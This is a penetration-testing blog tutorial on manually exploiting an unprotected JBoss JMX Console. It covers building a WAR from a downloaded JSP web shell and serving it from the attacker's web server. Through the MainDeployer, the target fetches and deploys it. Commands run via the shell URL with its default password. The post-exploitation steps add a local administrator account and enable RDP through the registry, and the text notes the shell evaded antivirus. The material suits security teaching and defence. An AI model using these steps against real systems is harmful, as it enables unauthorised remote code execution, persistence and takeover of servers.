Manually Exploiting JBoss jmx-console

By Tony Lee and Chris Lee

Introduction

This article can almost be looked at as a follow-up to our previous article on Manually Exploiting Tomcat Manager (http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html).  However, this time we will discuss how to achieve the same goals, but against JBoss instead.

JavaBeans Open Source Software Application Server (commonly shortened to JBoss) is a very popular open source implementation for handling JavaServer Pages (JSP).  JBoss contains a web accessible administrator page called the JMX Console.  The JMX Console is ironically plagued by the same vulnerability as Apache Tomcat Manager because it is often deployed with default, weak, or even no credentials.  Also comparable to Apache Tomcat Manager, JBoss allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely through this admin console.

A weak, default, or unprotected JMX Console is a very common initial foothold for attackers as they use this to remotely deploy and execute a payload to gain a backdoor to the host.  But how do we detect and exploit this vulnerability?

Vulnerability scanners will detect and identify this particular finding as:

JBoss Administrative Console Security Bypass Vulnerability (in McAfee Vulnerability Manager (MVM))

JBoss JMX Console Unrestricted Access (in Nessus)

Additionally, anyone can find JBoss instances by using resources such as Shodan (www.shodanhq.com) that provide the ability to search for HTTP headers such as:  “x-powered-by” “jboss”

There are a few Metasploit exploits (jboss_maindeployer, jboss_bshdeployer, jboss_invoke_deploy) that are the de facto exploits for this vulnerability and are usually rock solid; however we have seen a few occasions where it will fail with little-to-no explanation.   Additionally, the host may have antivirus (AV) or Host-based Intrusion Prevention System (HIPS) that catches the payload and it may be necessary to upload a custom binary manually instead of using the Metasploit Framework (MSF) to deploy it.  The information below is just one of many possible workarounds.

The major steps in our workaround process are:

• Assess the situation
• Download an alternative shell
• Extract and understand the code
• Create the WAR file
• Create a web server to host the file
• Deploy the WAR file
• Utilize the JSP shell
• Propagate and pillage
• Destroy the shell

Assess the situation

In an ideal world, the exploit should work every time and yield a shell as shown in the screenshot below:

Figure 1:  Successful cmd.exe shell using the jboss_bshdeployer module available in Metasploit

However, in cases where we are not so lucky we need to manually deploy a shell so we can take control of the host.

Our scenario:

• Windows 2008 R2 (64-bit) production box
• Unprotected JMX Console running on the non-standard TCP port 3505
• User Account Control (UAC) enabled
• Tried setting target 1 (for Windows) and we were getting a “404” with all payloads  frustrating….
• Tried automatic target and Java payloads—nothing worked!!

What do we do now?  Let’s do it manually.

Download an alternative shell

In the previous Tomcat article, we downloaded the Laudanum files (which contains the cmd.war file) from:  http://sourceforge.net/projects/laudanum/   (props to Kevin Johnson, Tim Medin, and John Sawyer)

According to the SourceForge page:

“Laudanum is a collection of injectable files, designed to be used in a pentest when SQL injection flaws are found and are in multiple languages for different environments. They provide functionality such as shell, DNS query, LDAP retrieval and others.”

We again tried to utilize the Laudanum shell in this instance and it was not working.  Our first guess was that AV was detecting the shell and that we either needed another shell or we needed to modify the current shell to bypass the detecting signature.  While searching for alternatives, we discovered a slick shell from the RedTeam Pentesting group (https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz).  We used wget as shown below to download the shell:

root@bt:~ # mkdir redteam root@bt:~ # cd redteam root@bt:~/redteam# wget https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz

Extract and understand the code

Before running a tool, it is best practice to try to understand the code.  Even if you are not familiar with the language, use Google and try to understand what the code is doing to the best of your abilities.  This will help you learn how to effectively use the tool and may identify limitations or areas of concern (such as unknowingly backdooring yourself).

root@bt:~/redteam# tar -zxvf redteam-jboss.tar.gz BeanShellDeployer/mkbeanshell.rb WAR/shell.jsp WAR/WEB-INF/web.xml Webconsole-Invoker/webconsole_invoker.rb JMXInvokerServlet/http_invoker.rb JMXInvokerServlet/jmxinvokerservlet.rb jboss_jars/console-mgr-classes.jar jboss_jars/jbossall-client.jar README setpath.sh Rakefile

Create the WAR file

After reviewing the code and understanding how it works, we will now create the WAR file to deploy.

root@bt:~/redteam/WAR# jar cvf fs.war shell.jsp WEB-INF/ added manifest adding: shell.jsp(in = 8527) (out= 2379)(deflated 72%) adding: WEB-INF/(in = 0) (out= 0)(stored 0%) adding: WEB-INF/web.xml(in = 396) (out= 203)(deflated 48%) root@bt:~/redteam/WAR# file fs.war fs.war: Zip archive data, at least v2.0 to extract

Create a web server to host the file

One of the JBoss deployment options is to fetch a WAR file from a remote web server.  This is ideal because we can easily provide this service by using our BackTrack or Kali distribution to fire up a web server to host our file.  As shown below, we first verify that we do not already have a service listening on port 80 and then start up an Apache server.  We verify that the Apache service started by confirming that it is now listening on port 80, and we copy the WAR file to the web root directory for our web server.

root@bt:~# netstat -an | grep :80 root@bt:~# /etc/init.d/apache2 start * Starting web server apache2                           [OK ] root@bt:~# netstat -an | grep :80 tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      root@bt:~/redteam/WAR# cp fs.war /var/www root@bt:~/redteam/WAR#

You should now be able to manually browse to your local webserver to verify the presence of the file:

http://localhost/fs.war

Figure 2:  Creating the WAR file and moving it to the root of the webserver

Deploy the WAR file

Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”. 

Figure 3:  Using MainDeployer to do our dirty work

From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL.  In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button. 

Figure 4:  Populate deploy() function parameters

Utilize the JSP Shell

Utilize the shell on the target (found at /fs/shell.jsp in our example) to run various situational awareness commands.  Note that the JSP shell from RedTeam Pentesting requires a password.  By default the password is “secret”, unless you modify the shell.jsp ahead of time.

This shell allows you to pass parameters via the URL such as shell.jsp?pass=secret&cmd=whoami.  This may be ideal for scripting commands via wget or an http library in the language of your choosing (Python httplib2 for example).

Figure 5:  Attack runs whoami command to show that they are running with NT AUTHORITY\SYSTEM access

Additionally, the RedTeam shell provides a friendlier forms based page that allows command entry and file upload capabilities if you use the html parameter as shown below:

https://vulnerableserver.com:port?pass=secret&html=true

Figure 6:  Screenshot shows ability to run commands and upload files

This is a fairly intelligent shell that can recognize the operating system (OS) it is executing on.  That said, the Laudanum shell (that we used in the Tomcat article) required us to first specify “cmd.exe /c <command>” for certain commands such as dir, however this shell detects the underlying OS and does that for us automatically.

Propagate and pillage

In the Manually Exploiting Tomcat Manager article, we needed to obtain file transfer capabilities in order to upgrade our shell.  By using the RedTeam Pentesting shell, we already have file transfer capabilities.  Additionally, since in this example JBoss was running as NT AUTHORITY\SYSTEM, we were able to create and add the user to the local Administrators group and utilize RDP to log into the host.

Add a user: net user chris <password> /add Add user to local Administrators group: net localgroup Administrators chris /add Double check to make sure user is in local Administrators group: net localgroup Administrators Enable RDP from the command line (if needed): reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

After using RDP to gain access to the host, we discovered that Symantec Antivirus originally caught and deleted all of our Metasploit payloads and our Laudanum shell.  Luckily, they did not detect our RedTeam Pentesting shell.  ;)  But this is a cat and mouse game.

Destroy the Shell

Once you are finished with the shell, you should remove it so no one else can utilize it.  To do this, complete the following steps:

1. Navigate to the JBoss JMX web console on the target:  http://ip.ad.dr.ess:port/jmx-console/
2. Search for:  “jboss.web.deployment“
3. Find and click the hyperlink for the shell you deployed
4. Find the destroy function and click the invoke button

Attempt to navigate to your shell to ensure that it is undeployed.

Summary

In our classes, we are asked why we often show students three or more different ways to complete a task.  We show the manual and tedious way to accomplish a task and then later show the easy, “one click fire” method.  Metasploit is a powerful framework that simplifies the attacks and adds fantastic functionality, but knowledge of the manual methods is a must—especially when your trusty tools are being blocked and in-depth troubleshooting is not an option.

Props

• https://www.redteam-pentesting.de/publications/2009-11-30-Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN.pdf
• https://www.redteam-pentesting.de/publications/2010-06-15-JBoss-AS-Deploying-WARs-with-the-DeploymentFileRepository-MBean.pdf

For this article and others like it, check out the following magazine:
http://hakin9.org/learn-how-to-perform-advanced-web-attacks-and-exploitation-with-more-than-70-pages-of-hakin9-tutorials/

Contact Info

Tony Lee Linked-in:  http://www.linkedin.com/in/tonyleevt

Chris Lee Linked-in:  www.linkedin.com/in/chrislee804

Special Thanks To

Bill Hau

Dan Dumond

David Pany

Dennis Hanzlik

Glen Edwards

Ian Ahl

Rudolph Araujo